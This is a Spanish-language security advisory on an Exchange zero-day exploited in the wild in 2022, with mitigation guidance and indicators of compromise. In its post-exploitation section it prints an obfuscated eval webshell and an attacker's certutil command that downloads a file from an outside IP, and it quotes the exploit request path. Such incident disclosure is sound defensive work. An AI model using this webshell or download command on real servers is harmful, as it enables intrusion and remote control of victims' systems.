Vulnerabilidad Zero-Day En Exchange, Utilizada In-The-Wild
Aproximadamente a principios de agosto de 2022, mientras realizaba servicios de monitoreo de seguridad y respuesta a incidentes, el equipo de GTSC SOC descubrió que se estaba atacando una infraestructura crítica, específicamente su aplicación Microsoft Exchange on-prem.
Durante la investigación, los expertos del GTSC Blue Team determinaron que el ataque utilizó una vulnerabilidad de seguridad de Exchange no publicada, es decir, una vulnerabilidad Zero-Day, por lo que inmediatamente se elaboró un plan de contención temporal. Al mismo tiempo, los expertos de Red Team comenzaron a investigar y depurar el código descompilado de Exchange para encontrar la vulnerabilidad y explotar el código.
La vulnerabilidad resulta tan crítica que permite al atacante realizar RCE en el sistema comprometido. GTSC envió la vulnerabilidad a Zero Day Initiative (ZDI) de inmediato para trabajar con Microsoft para que se pudiera preparar un parche lo antes posible. ZDI verificó y reconoció 2 errores, cuyos puntajes CVSS son 8.8 y 6.3.
Después de realizar pruebas cuidadosas, GTSC confirmó que otros sistemas también estaban siendo atacados con esta vulnerabilidad de día cero. Para ayudar a la comunidad a detener temporalmente el ataque antes de que esté disponible un parche oficial de Microsoft, publicaron este artículo dirigido a aquellas organizaciones que utilizan el sistema de correo electrónico de Microsoft Exchange.
Información de vulnerabilidad
Inicialmente se detectan solicitudes de explotación en los registros de IIS con el mismo formato que la vulnerabilidad de ProxyShell:
autodiscover/[email protected]/&Email=autodiscover/autodiscover.json%[email protected]
Luego, el atacante puede ejecutar comandos en el sistema atacado, acceder a un componente en el backend de Exchange y realizar RCE. Aún NO se han publicado detalles técnicos de la vulnerabilidad.
Actividades posteriores a la explotación
Después de ejecutar el exploit, se registran ataques para recopilar información y crear un punto de apoyo en el sistema de la víctima. El equipo de ataque también utilizó varias técnicas para crear puertas traseras en el sistema afectado y realizar movimientos laterales a otros servidores del sistema.
Se han detectacto webshells, en su mayoría ofuscados, que se subian en los servidores de Exchange. El atacante utiliza Antsword, una herramienta china de código abierto que admite la administración de webshell.
<%@Page Language="Jscript"%>
<%eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String('NTcyM'+'jk3O3'+'ZhciB'+'zYWZl'+
''+'P'+'S'+char(837-763)+System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String('MQ=='))+
char(51450/525)+''+''+char(0640-0462)+char(0x8c28/0x1cc)+char(0212100/01250)+System.Text.Encoding.GetEncoding(936).
GetString(System.Convert.FromBase64String('Wg=='))+'m'+''+'UiO2V'+'2YWwo'+'UmVxd'+'WVzdC'+'5JdGV'+'tWydF'+'WjBXS'+
'WFtRG'+'Z6bU8'+'xajhk'+'J10sI'+'HNhZm'+'UpOzE'+'3MTY4'+'OTE7'+'')));%>
Otra característica notable es que el atacante también cambia el contenido del archivo RedirSuiteServiceProxy.aspx por el contenido de la webshell. RedirSuiteServiceProxy.aspx es un nombre de archivo legítimo disponible en el servidor de Exchange.
Además de recopilar información sobre el sistema, el atacante descarga archivos y verifica las conexiones a través de certutil, que es una herramienta legítima disponible en el entorno de Windows.
“cmd” /c cd /d "c:\\PerfLogs"&certutil.exe -urlcache -split -f http://206.188.196.77:8080/themes.aspx c:\perflogs\t&echo [S]&cd&echo [E]
"cmd" /c cd /d "c:\\PerfLogs"&certutil.exe -urlcache -split -f https://httpbin.org/get c:\test&echo [S]&cd&echo [E]
Cabe señalar que cada comando termina con la cadena echo [S]&cd&echo [E], que es una de las firmas de China Chopper webshell.
Además, el delincuente informático también inyecta archivos DLL maliciosos en la memoria, coloca archivos sospechosos en los servidores atacados y ejecuta estos archivos a través de WMIC.
A continuación se presentan los indicadores de compromiso detectados (IOCs)
HASH
- 074eb0e75bb2d8f59f1fd571a8c5b76f9c899834893da6f7591b68531f2b5d82
- 45c8233236a69a081ee390d4faa253177180b2bd45d8ed08369e07429ffbe0a9
- 9ceca98c2b24ee30d64184d9d2470f6f2509ed914dafb87604123057a14c57c0
- 29b75f0db3006440651c6342dc3c0672210cfb339141c75e12f6c84d990931c3
- c8c907a67955bcdf07dd11d35f2a23498fb5ffe5c6b5d7f36870cf07da47bff2
IP/URL:
- 125[.]212[.]220[.]48
- 5[.]180[.]61[.]17
- 47[.]242[.]39[.]92
- 61[.]244[.]94[.]85
- 86[.]48[.]6[.]69
- 86[.]48[.]12[.]64
- 94[.]140[.]8[.]48
- 94[.]140[.]8[.]113
- 103[.]9[.]76[.]208
- 103[.]9[.]76[.]211
- 104[.]244[.]79[.]6
- 112[.]118[.]48[.]186
- 122[.]155[.]174[.]188
- 125[.]212[.]241[.]134
- 185[.]220[.]101[.]182
- 194[.]150[.]167[.]88
- 212[.]119[.]34[.]11
- 137[.]184[.]67[.]33
- hxxp://206[.]188[.]196[.]77:8080/themes.aspx
Prevención
Como medida temporal (confirmada), y mientras se espera por el parche oficial por parte de Microsoft, se recomienda añadir una regla de bloqueo en el módulo URL Rewrite Rule de IIS.- En «Autodiscover» en «FrontEnd» seleccione la pestaña «URL Rewrite» y luego «Request Blocking».
- Agregue el siguiente string en «URL Path": ".*autodiscover\.json.*\@.*Powershell.*".
- En «Condition» elija {REQUEST_URI}.
Fuente: GTSC SOC
Via: blog.segu-info.com.ar